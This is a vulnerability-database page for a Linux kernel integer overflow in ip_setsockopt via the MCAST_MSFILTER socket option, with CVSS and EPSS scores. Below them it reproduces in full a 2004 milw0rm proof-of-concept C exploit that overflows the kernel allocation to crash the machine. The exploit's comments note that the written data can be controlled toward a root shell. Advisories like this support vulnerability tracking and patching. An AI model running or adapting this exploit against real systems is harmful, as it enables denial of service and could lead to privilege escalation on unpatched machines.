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Integer overflow in the ip_setsockopt function in Linux kernel 2.4.22 through 2.4.25 and 2.6.1 through 2.6.3 allows local users to cause a denial of service (crash) or execute arbitrary code via the MCAST_MSFILTER socket option.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
5.63%
–
–
2022-04-03
–
–
5.63%
–
–
2022-07-17
–
–
5.63%
–
–
2022-08-07
–
–
5.63%
–
–
2022-08-14
–
–
5.63%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.21%
2025-03-30
–
–
–
–
0.24%
2025-04-15
–
–
–
–
0.24%
2025-04-15
–
–
–
–
0.24,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
/* setsockopt proof of concept code by Julien TINNES (julien a.t cr0.org)
vulnerability found (as always by Paul Starzetz
This is only a lame POC which will crash the machine, no root shell here.
Maybe later, when everybody will have an updated box.
It should work on 2.6.1, 2.6.2 and 2.6.3 kernels.
Greets to Christophe Devine, too bad you wasn't with me for this one.
*/
#include <errno.h>
void perror (const char *s);
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <linux/socket.h>
#define SOL_IP 0
#define MCAST_MSFILTER 48
/* mynumsrc and alloc_room control the overflow
* what we write can be controlled too (not needed
* here but needed for rootshell exploit
*/
#define mynumsrc 0x100 /* 0x100 should be enough, can be tweaked */
#define alloc_room 1 /* let it alocate only one u32 */
struct mygroup_filter
{
__u32 gf_interface; /* interface index */
struct sockaddr_storage gf_group; /* multicast address */
__u32 gf_fmode; /* filter mode */
__u32 gf_numsrc; /* number of sources */
struct sockaddr_storage gf_slist[mynumsrc]; /* interface index */
};
void
main (void)
{
int mysocket;
int sockprot;
struct mygroup_filter mygroup;
int optlen;
int i;
struct sockaddr_in *psin;
mygroup.gf_interface = 0;
mygroup.gf_numsrc = (1 << 30) - 4 + alloc_room;
mygroup.gf_group.ss_family = AF_INET;
for (i = 0; i < mynumsrc; i++)
{
psin = (struct sockaddr_in *) &mygroup.gf_slist[i];
psin->sin_family = AF_INET;
}
mysocket = socket (PF_INET, SOCK_STREAM, 0);
if (mysocket == -1)
{
perror ("Socket creation error: ");
exit (1);
}
optlen = sizeof (struct mygroup_filter);
printf ("Calling setsockopt(), this should crash the box...\n");
sockprot = setsockopt (mysocket, SOL_IP, MCAST_MSFILTER, &mygroup, optlen);
if (sockprot == -1)
{
perror ("Invalid setsockopt: ");
exit (1);
}
}
// milw0rm.com [2004-04-21]